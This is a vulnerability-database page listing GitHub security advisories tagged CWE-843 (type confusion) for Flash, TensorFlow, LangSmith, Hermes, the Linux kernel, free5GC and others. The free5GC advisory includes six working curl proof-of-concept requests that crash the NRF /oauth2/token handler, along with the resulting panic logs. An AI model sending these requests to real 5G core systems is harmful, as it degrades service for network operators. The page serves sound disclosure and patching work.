Common Weakness Enumeration

CWE-843

Allowed

Access of Resource Using Incompatible Type ('Type Confusion')

Abstraction: Base · Status: Incomplete

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

1041 vulnerabilities reference this CWE, most recent first.

GHSA-F4PC-94HV-W8PV

Vulnerability from github – Published: 2022-05-14 02:15 – Updated: 2022-05-14 02:15
VLAI
Details

Adobe Flash Player before 10.3.183.15 and 11.x before 11.1.102.62 on Windows, Mac OS X, Linux, and Solaris; before 11.1.111.6 on Android 2.x and 3.x; and before 11.1.115.6 on Android 4.x allows attackers to execute arbitrary code or cause a denial of service (memory corruption) by leveraging an unspecified "type confusion."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-0752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-02-16T19:55:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Flash Player before 10.3.183.15 and 11.x before 11.1.102.62 on Windows, Mac OS X, Linux, and Solaris; before 11.1.111.6 on Android 2.x and 3.x; and before 11.1.115.6 on Android 4.x allows attackers to execute arbitrary code or cause a denial of service (memory corruption) by leveraging an unspecified \"type confusion.\"",
  "id": "GHSA-f4pc-94hv-w8pv",
  "modified": "2022-05-14T02:15:25Z",
  "published": "2022-05-14T02:15:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0752"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14654"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16103"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2012-02/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-0144.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48265"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48819"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-201204-07.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.adobe.com/support/security/bulletins/apsb12-03.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F4RR-5M7V-WXCW

Vulnerability from github – Published: 2022-05-24 22:14 – Updated: 2022-06-06 18:14
VLAI
Summary
Type confusion leading to `CHECK`-failure based denial of service in TensorFlow
Details

Impact

The macros that TensorFlow uses for writing assertions (e.g., CHECK_LT, CHECK_GT, etc.) have an incorrect logic when comparing size_t and int values. Due to type conversion rules, several of the macros would trigger incorrectly.

Patches

We have patched the issue in GitHub commit b917181c29b50cb83399ba41f4d938dc369109a1 (merging GitHub PR #55730).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T22:14:44Z",
    "nvd_published_at": "2022-05-21T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe [macros that TensorFlow uses for writing assertions (e.g., `CHECK_LT`, `CHECK_GT`, etc.)](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/platform/default/logging.h) have an incorrect logic when comparing `size_t` and `int` values. Due to type conversion rules, several of the macros would trigger incorrectly.\n\n### Patches\nWe have patched the issue in GitHub commit [b917181c29b50cb83399ba41f4d938dc369109a1](https://github.com/tensorflow/tensorflow/commit/b917181c29b50cb83399ba41f4d938dc369109a1) (merging GitHub PR [#55730](https://github.com/tensorflow/tensorflow/pull/55730)).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/55530).",
  "id": "GHSA-f4rr-5m7v-wxcw",
  "modified": "2022-06-06T18:14:14Z",
  "published": "2022-05-24T22:14:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f4rr-5m7v-wxcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/issues/55530"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/pull/55730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/b917181c29b50cb83399ba41f4d938dc369109a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/platform/default/logging.h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Type confusion leading to `CHECK`-failure based denial of service in TensorFlow"
}

GHSA-F4XH-W4CJ-QXQ8

Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10
VLAI
Summary
LangSmith SDK TracingMiddleware: Arbitrary server-side file read
Details

Summary

An attacker who can send an HTTP request to a server running the LangSmith SDK's TracingMiddleware can cause that server to read an arbitrary file from its local filesystem and upload the contents to LangSmith as a trace attachment. Depending on how the distributed trace system is deployed, triggering a read may not require authentication. Retrieving the contents requires read access to the LangSmith workspace the traces are sent to. The net effect is a trust-boundary crossing: a party with workspace trace-read access (for example a low-privilege workspace member, a contractor, or a compromised teammate account) gains the ability to read files from any server running TracingMiddleware, a capability outside that workspace's intended trust boundary.

Impact

Confidentiality (High): arbitrary read of files accessible to the server process, exposed to anyone with workspace trace-read access.

Details

Two defects combine. A field supplied through a tracing-propagation header was merged into the run without validation, allowing injection of run attributes including attachments (CWE-346). A type check intended to gate filesystem access did not match the type of the decoded input, so the guard never engaged (CWE-843). As a result, an attacker-named file is opened by the server and uploaded as a trace attachment by the background tracing thread (CWE-22).

Who can exploit this

  • Anyone reachable by HTTP can trigger the file read. Depending on how the distributed trace system is deployed, triggering may not require authentication.
  • Retrieving the file contents requires read access to the destination LangSmith workspace. The upload uses the server's own configured API key and workspace, which the attacker cannot redirect, so a zero-access outsider cannot retrieve the result; a workspace member, or anyone who has compromised one, can.

Remediation

Upgrade the Python SDK to >= 0.8.18.

Workarounds

Until upgrading, do not expose TracingMiddleware to untrusted HTTP traffic, and limit workspace trace-read access to trusted members.

Credits

First reported by @Ryu7zz.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langsmith"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-346",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Summary\n\nAn attacker who can send an HTTP request to a server running the LangSmith SDK\u0027s `TracingMiddleware` can cause that server to read an arbitrary file from its local filesystem and upload the contents to LangSmith as a trace attachment. Depending on how the distributed trace system is deployed, triggering a read may not require authentication. Retrieving the contents requires read access to the LangSmith workspace the traces are sent to. The net effect is a trust-boundary crossing: a party with workspace trace-read access (for example a low-privilege workspace member, a contractor, or a compromised teammate account) gains the ability to read files from any server running `TracingMiddleware`, a capability outside that workspace\u0027s intended trust boundary.\n\n# Impact\n\nConfidentiality (High): arbitrary read of files accessible to the server process, exposed to anyone with workspace trace-read access.\n\n# Details\n\nTwo defects combine. A field supplied through a tracing-propagation header was merged into the run without validation, allowing injection of run attributes including attachments (CWE-346). A type check intended to gate filesystem access did not match the type of the decoded input, so the guard never engaged (CWE-843). As a result, an attacker-named file is opened by the server and uploaded as a trace attachment by the background tracing thread (CWE-22).\n\n## Who can exploit this\n\n- Anyone reachable by HTTP can trigger the file read. Depending on how the distributed trace system is deployed, triggering may not require authentication.\n- Retrieving the file contents requires read access to the destination LangSmith workspace. The upload uses the server\u0027s own configured API key and workspace, which the attacker cannot redirect, so a zero-access outsider cannot retrieve the result; a workspace member, or anyone who has compromised one, can.\n\n# Remediation\n\nUpgrade the Python SDK to `\u003e= 0.8.18`.\n\n# Workarounds\n\nUntil upgrading, do not expose `TracingMiddleware` to untrusted HTTP traffic, and limit workspace trace-read access to trusted members.\n\n# Credits\n\nFirst reported by @Ryu7zz.",
  "id": "GHSA-f4xh-w4cj-qxq8",
  "modified": "2026-06-19T22:10:34Z",
  "published": "2026-06-19T22:10:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-f4xh-w4cj-qxq8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langchain-ai/langsmith-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangSmith SDK TracingMiddleware: Arbitrary server-side file read"
}

GHSA-F5PV-4R42-W7J4

Vulnerability from github – Published: 2026-07-09 12:30 – Updated: 2026-07-09 12:30
VLAI
Details

Access of resource using incompatible type ('type confusion') vulnerability in Samsung Open Source Escargot allows Pointer Manipulation.

This issue affects Escargot: before 779f6bedf58f334dec64b0a51ebb724b4708b84a.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58305"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T11:16:41Z",
    "severity": "MODERATE"
  },
  "details": "Access of resource using incompatible type (\u0027type confusion\u0027) vulnerability in Samsung Open Source Escargot allows Pointer Manipulation.\n\nThis issue affects Escargot: before 779f6bedf58f334dec64b0a51ebb724b4708b84a.",
  "id": "GHSA-f5pv-4r42-w7j4",
  "modified": "2026-07-09T12:30:28Z",
  "published": "2026-07-09T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58305"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/escargot/issues/1574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/escargot/pull/1580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F5X2-XV93-4P23

Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2022-06-24 01:24
VLAI
Summary
Access of Resource Using Incompatible Type in Facebook Hermes
Details

A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "hermes-engine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-24T01:24:06Z",
    "nvd_published_at": "2020-09-04T03:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A type confusion vulnerability when resolving properties of JavaScript objects with specially-crafted prototype chains in Facebook Hermes prior to commit fe52854cdf6725c2eaa9e125995da76e6ceb27da allows attackers to potentially execute arbitrary code via crafted JavaScript. Note that this is only exploitable if the application using Hermes permits evaluation of untrusted JavaScript. Hence, most React Native applications are not affected.",
  "id": "GHSA-f5x2-xv93-4p23",
  "modified": "2022-06-24T01:24:06Z",
  "published": "2022-05-24T17:27:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1911"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/hermes/commit/fe52854cdf6725c2eaa9e125995da76e6ceb27da"
    },
    {
      "type": "WEB",
      "url": "https://www.facebook.com/security/advisories/cve-2020-1911"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Access of Resource Using Incompatible Type in Facebook Hermes"
}

GHSA-F6MP-2JRX-CMH3

Vulnerability from github – Published: 2023-06-19 18:30 – Updated: 2024-04-04 04:58
VLAI
Details

A flaw was found in the IPv6 module of the Linux kernel. The arg.result was not used consistently in fib6_rule_lookup, sometimes holding rt6_info and other times fib6_info. This was not accounted for in other parts of the code where rt6_info was expected unconditionally, potentially leading to a kernel panic in fib6_rule_suppress.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-19T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the IPv6 module of the Linux kernel. The arg.result was not used consistently in fib6_rule_lookup, sometimes holding rt6_info and other times fib6_info. This was not accounted for in other parts of the code where rt6_info was expected unconditionally, potentially leading to a kernel panic in fib6_rule_suppress.",
  "id": "GHSA-f6mp-2jrx-cmh3",
  "modified": "2024-04-04T04:58:00Z",
  "published": "2023-06-19T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3022"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/a65120bae4b7"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2211440"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6X6-GF9M-8CC3

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2025-10-22 00:31
VLAI
Details

Adobe Flash Player version 27.0.0.159 and earlier has a flawed bytecode verification procedure, which allows for an untrusted value to be used in the calculation of an array index. This can lead to type confusion, and successful exploitation could lead to arbitrary code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-11292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-22T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Flash Player version 27.0.0.159 and earlier has a flawed bytecode verification procedure, which allows for an untrusted value to be used in the calculation of an array index. This can lead to type confusion, and successful exploitation could lead to arbitrary code execution.",
  "id": "GHSA-f6x6-gf9m-8cc3",
  "modified": "2025-10-22T00:31:29Z",
  "published": "2022-05-13T01:02:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11292"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2899"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/flash-player/apsb17-32.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201710-22"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-11292"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101286"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039582"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F7MP-F266-QMV5

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-05-24 17:22
VLAI
Details

Adobe Acrobat and Reader versions 2019.012.20035 and earlier, 2019.012.20035 and earlier, 2017.011.30142 and earlier, 2017.011.30143 and earlier, 2015.006.30497 and earlier, and 2015.006.30498 and earlier have a type confusion vulnerability. Successful exploitation could lead to information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-8252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-06T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Acrobat and Reader versions 2019.012.20035 and earlier, 2019.012.20035 and earlier, 2017.011.30142 and earlier, 2017.011.30143 and earlier, 2015.006.30497 and earlier, and 2015.006.30498 and earlier have a type confusion vulnerability. Successful exploitation could lead to information disclosure.",
  "id": "GHSA-f7mp-f266-qmv5",
  "modified": "2022-05-24T17:22:25Z",
  "published": "2022-05-24T17:22:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8252"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb19-41.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F7QV-V8H9-5244

Vulnerability from github – Published: 2023-03-27 21:30 – Updated: 2023-04-05 15:30
VLAI
Details

A flaw was found in the Linux Kernel. The tun/tap sockets have their socket UID hardcoded to 0 due to a type confusion in their initialization function. While it will be often correct, as tuntap devices require CAP_NET_ADMIN, it may not always be the case, e.g., a non-root user only having that capability. This would make tun/tap sockets being incorrectly treated in filtering/routing decisions, possibly bypassing network filters.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-791",
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-27T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the Linux Kernel. The tun/tap sockets have their socket UID hardcoded to 0 due to a type confusion in their initialization function. While it will be often correct, as tuntap devices require CAP_NET_ADMIN, it may not always be the case, e.g., a non-root user only having that capability. This would make tun/tap sockets being incorrectly treated in filtering/routing decisions, possibly bypassing network filters.",
  "id": "GHSA-f7qv-v8h9-5244",
  "modified": "2023-04-05T15:30:24Z",
  "published": "2023-03-27T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1076"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=66b2c338adce580dfce2199591e65e2bab889cff"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=a096ccca6e503a5c575717ff8a36ace27510ab0a"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F8QV-7X5W-QR48

Vulnerability from github – Published: 2026-05-08 22:56 – Updated: 2026-06-08 23:48
VLAI
Summary
free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types
Details

Summary

free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.

Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.

Details

Validated against the NRF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22 - NRF endpoint: http://10.100.200.3:8000

Root cause is in the access-token request parser: - NFs/nrf/internal/sbi/api_accesstoken.go:52 - NFs/nrf/internal/sbi/api_accesstoken.go:87 - NFs/nrf/internal/sbi/api_accesstoken.go:98 - NFs/nrf/internal/sbi/api_accesstoken.go:100 - NFs/nrf/internal/sbi/api_accesstoken.go:112

The model definition lives in free5gc/openapi: - models/model_nrf_access_token_access_token_req.go:27 - models/model_nrf_access_token_access_token_req.go:29 - models/model_nrf_access_token_access_token_req.go:30 - models/model_nrf_access_token_access_token_req.go:31

The parser's effective shape is: parse value as *models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (*models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.

Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - requesterPlmnList -> panic assigning *models.PlmnId to []models.PlmnId - requesterSnssaiList -> panic assigning *models.PlmnId to []models.Snssai - requesterSnpnList -> panic assigning *models.PlmnId to []models.PlmnIdNid - targetSnpn -> panic assigning *models.PlmnId to *models.PlmnIdNid - targetSnssaiList -> panic assigning *models.PlmnId to []models.Snssai - targetNsiList -> panic assigning *models.PlmnId to []string

PoC

Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.

  1. requesterPlmnList -> []models.PlmnId mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
  1. requesterSnssaiList -> []models.Snssai mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
  1. requesterSnpnList -> []models.PlmnIdNid mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
  1. targetSnpn -> *models.PlmnIdNid mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
  1. targetSnssaiList -> []models.Snssai mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
  1. targetNsiList -> []string mismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'

Observed response (per request, no body returned):

HTTP/1.1 500 Internal Server Error
Content-Length: 0

NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type:

[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string
INFO][NRF][GIN] | 500 | POST | /oauth2/token |

Impact

Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).

This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.

What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than 400 validation) and pollute logs / rotate out useful diagnostic history.

No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nrf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-755",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:56:03Z",
    "nvd_published_at": "2026-05-27T17:16:37Z",
    "severity": "HIGH"
  },
